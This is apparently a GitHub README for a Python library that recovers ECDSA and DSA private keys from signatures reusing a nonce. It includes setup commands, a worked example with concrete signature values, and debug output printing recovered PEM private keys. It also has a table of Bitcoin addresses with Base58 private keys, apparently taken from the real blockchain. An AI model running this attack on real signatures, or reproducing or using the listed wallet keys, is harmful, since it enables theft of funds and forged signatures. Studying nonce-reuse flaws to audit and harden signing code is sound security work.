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Sep 24, 2018

ecdsa-key-recovery

Pperform ECDSA and DSA Nonce Reuse private key recovery attacks

This is kind of an improved version of the DSA only variant from https://github.com/tintinweb/DSAregenK

Let's recover the private-key for two signatures sharing the same nonce k. Note how chosing the same nonce k results in both signatures having an identical signature value r. To find good candidates for an ECDSA nonce reuse check for signatures sharing the same r, pubkey on curve for different messages (or hashes). E.g. blockchain projects based off bitcoind are usually good sources of ECDSA signature material.

  • sampleA (r, sA, hashA, pubkey, curve)
  • sampleB (r, sB, hashB, pubkey, curve)
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.

# recover the private key
sampleA.recover_nonce_reuse(sampleB)  # populates sampleA with the recovered private key ready for use
print sampleA.privkey 

setup

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Recovering Private Keys from the Bitcoin Blockchain

tools/README.md

BTC Address Base58 Privkey r
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT 113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT 18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw 19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT 6828441658514710620715231245132541628903431519484374098968817647395811175535

Example

create recoverable signature objects:

from ecdsa_key_recovery import DsaSignature, EcDsaSignature

# specify curve
curve = ecdsa.SECP256k1

# create standard ecdsa pubkey object from hex-encoded string
pub = ecdsa.VerifyingKey.from_string(
        "a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc".decode(
            "hex"), curve=curve).pubkey
            
# create sampleA and sampleB recoverable signature objects.
# long r, long s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926).decode(
                             "hex"),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097).decode(
                             "hex"),
                         pub)
                         
# key not yet recovered
assert (sampleA.x is None)     

recover the private key for sampleA

# attempt to recover key - this updated object sampleA
sampleA.recover_nonce_reuse(sampleB)    # recover privatekey shared with sampleB
assert (sampleA.x is not None)          # assert privkey recovery succeeded. This gives us a ready to use ECDSA privkey object
assert sampleA.privkey

output

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

INFO:__main__:------------DSA------------
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_DSAobj @0x2c49a80 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ >, <DsaSignature 0x2c7a3f sig=(9621143152…,3570894777…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ > - recovering privatekey from nonce reuse...
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=✔ > - Private key recovered!
-----BEGIN PRIVATE KEY-----
MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0
mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN
GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl
qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT
nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp
+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt
JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==
-----END PRIVATE KEY-----
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_DSAobj @0x2c78cd8 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ >, <DsaSignature 0x2c7a61 sig=(9212148896…,2541704568…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ > - recovering privatekey from nonce reuse...
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=✔ > - Private key recovered!
-----BEGIN PRIVATE KEY-----
MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9
mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm
oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg
XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8
+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF
MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97
Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=
-----END PRIVATE KEY-----

The library is written in a way that it tries to upgrade pubkey only ecdsa objects to private key enabled ecdsa objects upon successful recovery. This makes it easy to work with recovered key objects. The library performs both ECDSA and DSA key recovery.

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A simple library to recover the private key of ECDSA and DSA signatures sharing the same nonce k and therefore having identical signature parameter r

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